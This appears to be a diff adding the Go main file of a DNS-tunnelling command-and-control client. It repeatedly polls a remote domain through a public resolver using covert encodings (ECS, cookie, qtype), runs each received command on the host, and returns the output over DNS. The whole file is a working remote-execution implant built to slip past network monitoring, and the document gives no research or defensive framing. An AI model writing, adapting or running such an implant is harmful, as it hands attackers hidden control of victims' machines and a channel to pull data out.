|
| 1 | +package main |
| 2 | + |
| 3 | +import ( |
| 4 | + "errors" |
| 5 | + "flag" |
| 6 | + "fmt" |
| 7 | + "os/exec" |
| 8 | + "strings" |
| 9 | + "time" |
| 10 | + |
| 11 | + "github.com/kek/pek/internal/protocol" |
| 12 | +) |
| 13 | + |
| 14 | +func executeCmd(command string) ([]byte, error) { |
| 15 | + args := strings.Fields(command) |
| 16 | + cmd := exec.Command(args[0], args[1:]...) |
| 17 | + |
| 18 | + if errors.Is(cmd.Err, exec.ErrDot) { |
| 19 | + cmd.Err = nil |
| 20 | + } |
| 21 | + |
| 22 | + result, err := cmd.Output() |
| 23 | + if err != nil { |
| 24 | + return []byte(err.Error()), nil |
| 25 | + } |
| 26 | + |
| 27 | + return result, nil |
| 28 | +} |
| 29 | + |
| 30 | +func main() { |
| 31 | + domain := flag.String("domain", "", "server domain") |
| 32 | + resolver := flag.String("resolver", "8.8.8.8", "resolver to use") |
| 33 | + method := flag.String("method", "ecs", "channel type [ecs, cookie, qtype, dau]") |
| 34 | + interval := flag.Int("interval", 1000, "milliseconds between attempts to fetch a command from server") |
| 35 | + delay := flag.Int("delay", 200, "milliseconds between requests for data transfer") |
| 36 | + flag.Parse() |
| 37 | + |
| 38 | + if *domain == "" { |
| 39 | + fmt.Printf("-domain is missing") |
| 40 | + return |
| 41 | + } |
| 42 | + |
| 43 | + var proto protocol.ProtocolClient |
| 44 | + |
| 45 | + switch *method { |
| 46 | + case "ecs": |
| 47 | + proto = protocol.NewEcsProtoClient(*resolver, *domain, time.Duration(*delay)*time.Millisecond) |
| 48 | + case "cookie": |
| 49 | + proto = protocol.NewCookieProtoClient(*resolver, *domain, time.Duration(*delay)*time.Millisecond) |
| 50 | + case "qtype": |
| 51 | + proto = protocol.NewQtypeProtoClient(*resolver, *domain, time.Duration(*delay)*time.Millisecond) |
| 52 | + case "dau": |
| 53 | + proto = protocol.NewDauProtoClient(*resolver, *domain, time.Duration(*delay)*time.Millisecond) |
| 54 | + default: |
| 55 | + fmt.Printf("-method can only be one of [ecs, cookie, qtype, dau]") |
| 56 | + return |
| 57 | + } |
| 58 | + |
| 59 | + fmt.Printf("Polling") |
| 60 | + for { |
| 61 | + fmt.Printf(".") |
| 62 | + time.Sleep(time.Duration(*interval) * time.Millisecond) |
| 63 | + |
| 64 | + cmd, err := proto.FetchCmd() |
| 65 | + if err != nil { |
| 66 | + continue |
| 67 | + } |
| 68 | + |
| 69 | + if cmd != "" { |
| 70 | + fmt.Printf("OK\nExecuting command: %s ... ", cmd) |
| 71 | + cmdResult, err := executeCmd(cmd) |
| 72 | + if err != nil { |
| 73 | + continue |
| 74 | + } |
| 75 | + fmt.Printf("OK\n") |
| 76 | + |
| 77 | + proto.Send(cmdResult) |
| 78 | + fmt.Printf("Polling") |
| 79 | + } |
| 80 | + } |
| 81 | +} |
0 commit comments